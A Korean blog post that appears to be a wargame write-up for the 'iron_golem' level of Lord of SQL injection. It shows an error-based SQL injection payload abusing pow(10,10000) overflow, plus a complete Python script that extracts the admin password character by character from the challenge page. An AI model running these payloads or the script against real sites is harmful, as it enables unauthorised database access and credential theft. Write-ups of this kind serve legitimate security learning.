티스토리 뷰

56번째 글.

 

 

1. 코드 분석

기존의 'Hello admin'을 이용하는 Blind injection을 사용할 수 없게 되어 있다.

또한 sleep과 benchmark가 필터링된 것을 보니 그냥 Blind injection은 쓰지 말라는 소리이다.

 

 

2. Exploit

single quote만 넣어줘도 error based injection임을 알 수 있다.

 

 

' or id='admin' and if(length(pw)=7, pow(10,10000),0)%23

pow() 함수를 이용해서 pw의 길이가 맞으면 MySQL에서 지원하는 double형의 범위를 일부러 초과하여 

에러를 띄우는 식으로 원하는 정보를 얻을 수 있다.

 

 

' or id='admin' and if(substr(pw,인덱스,1)='특정문자',pow(10,10000),0)%23

pw를 찾는 과정도 매우 error base로 하는 것 빼놓고는 매우 비슷하다.

 

 

import requests
import string
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=npg2jb4dh56anp5lqaj5n02e9q'}
admin_password = ''
ascii_printable = string.printable

print(ascii_printable)

## get password length
for i in range(100):
    url = f"https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=' or id='admin' and if(length(pw)={i}, pow(10,10000),0)%23"
    res = sess.get(url, headers=headers)
    if('DOUBLE value' in res.text):
        print('Password length is ', i)
        password_length = i
        break

## get password
for i in range(1,password_length+1):
    for j in ascii_printable:
        url = f"https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=' or id='admin' and if(substr(pw,{i},1)='{j}',pow(10,10000),0)%23"
        res = sess.get(url, headers=headers)
        if('DOUBLE value' in res.text):
            admin_password = admin_password+j
            print(admin_password)
            break


print("Admin Password is " + admin_password)

코드를 돌려보면 pw는 '06b5a6c16e8830475f983cc3a825ee9a'이다.

 

 

처음에 pw의 길이가 32길래 또 유니코드인가 했지만 1글자의 length를 찍었을 때 1바이트가 나왔고

그냥 넣어주니 문제가 풀렸다.

'writeup > LOS' 카테고리의 다른 글

[Lord of SQL injection] hell_fire  (0) 2021.07.27
[Lord of SQL injection] dark_eyes  (0) 2021.07.26
[Lord of SQL injection] dragon  (0) 2021.07.20
[Lord of SQL injection] xavis  (0) 2021.07.20
[Lord of SQL injection] nightmare  (0) 2021.07.19